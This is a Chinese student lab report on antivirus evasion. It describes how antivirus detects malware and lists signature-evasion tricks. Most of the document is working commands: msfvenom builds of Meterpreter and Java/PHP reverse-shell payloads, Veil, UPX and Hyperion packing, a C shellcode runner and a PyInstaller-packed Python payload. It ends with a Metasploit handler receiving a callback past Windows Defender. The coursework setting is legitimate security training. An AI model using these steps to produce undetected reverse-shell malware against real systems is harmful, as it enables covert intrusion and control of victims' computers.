《网络对抗技术》Exp3-免杀原理
一、实践目标
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
(1)杀软是如何检测出恶意代码的?
1.基于特征码的检测
1.在扫描程序工作后根据特征文件中的特征字符串,进行与待检测文件的扫描匹配,是检测已知恶意代码的最主要方法。
2.启发式恶意软件检测
根据片面特征去推断(看起来像),通常缺乏精确判断依据不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高。
3.基于行为的恶意软件检测
基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式让软件运行,记录其行为并分析(杀软的工作原理)。
4.完整性检测
通过hash值来判断文件是否被篡改。
5.云查杀技术
采用引擎加云上特征库的方式,用最小的资源来对病毒进行查杀。
6.基于人工智能的检测技术
利用数据挖掘等人工智能算法,区分恶意代码与正常代码的行为特征,并形成特征知识库,新的未知代码经过系统评判和学习后,通过分类器的进一步操作将其划入某一个分类。
(2)免杀是做什么?
免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现
(3)免杀的基本方法有哪些?
1.加冷门壳
2.加花指令
3.改程序入口点
4.修改内存特征码
5.直接修改特征码的十六进制法::把特征码所对应的十六进制改成数字差1或差不多的十六进制.
6.修改字符串大小写法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
7.等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
8.指令顺序调换法:把具有特征码的代码顺序互换一下.
9.通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
三、使用msfvenom生成如jar之类的其他文件
Ⅰ.多次编码生成exe文件
1.检测实验2中生成的后门程序
2.编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.56.101 LPORT=11204 -f exe > shell1.exe
2.编码十次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.56.101 LPORT=11204 -f exe > shell10.exe
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符,-i设置迭代次数
Ⅱ.生成jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f jar > shell.jar
Ⅲ.生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=11204 x> shell.php
四、veil,加壳工具
Ⅰ.veil
1.下载(其实先下载wine32会快点)
sudo apt-get install veil-evasion
下载成功后
cd /usr/share/veil/config
vim setup.sh
将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后
veil
等待安装
2.使用
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.56.101
set LPORT 11204
generate
输入list可以查看各种模式
Ⅱ.加壳
upx shell10.exe -o shell10_upx.exe
五、使用C + shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f c
int main()
{
int (*func)() = (int(*)())buf;
func();
}
i686-w64-mingw32-g++ shell_c.c -o shell_c.exe
六、通过组合应用各种技术实现恶意代码免杀
Ⅰ.c+shellcode+Hyperion
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
下载Hyperion2.2
unzip Hyperion-2.2.zip
修改为i686-w64-mingw32-gcc
make
wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe
Ⅱ.python+shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -e x86/shikata_ga_nai -f py > shell.py
配置环境需要上述三个软件,并安装,python和pywin32一直下一步就可以,进入pyinstaller的安装文件夹,找到setup.py,打开cmd
python setup.py install
验证安装
pyinstaller -F --noconsole --onefile shell_p.py
七、用另一电脑实测,在杀软开启的情况下,可运行并回连成功
使用的是shell_c.exe,目标机是win10,杀毒软件为Windows defender
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.107
set LPORT 11204
exploit
八、问题及解决
1.编码方式不被识别
msfvenom --list encoders
可以通过此命令来查看允许的编码方式
2.shell_c缺少dll动态库
在mingw目录下加上就可以libgcc_s_dw2-1.dll,提取码:ykf0,如果没有mingw的环境的话,就在
C:\Windows\SysWOW64
下安装(32位系统要在C:\Windows\System32
下安装)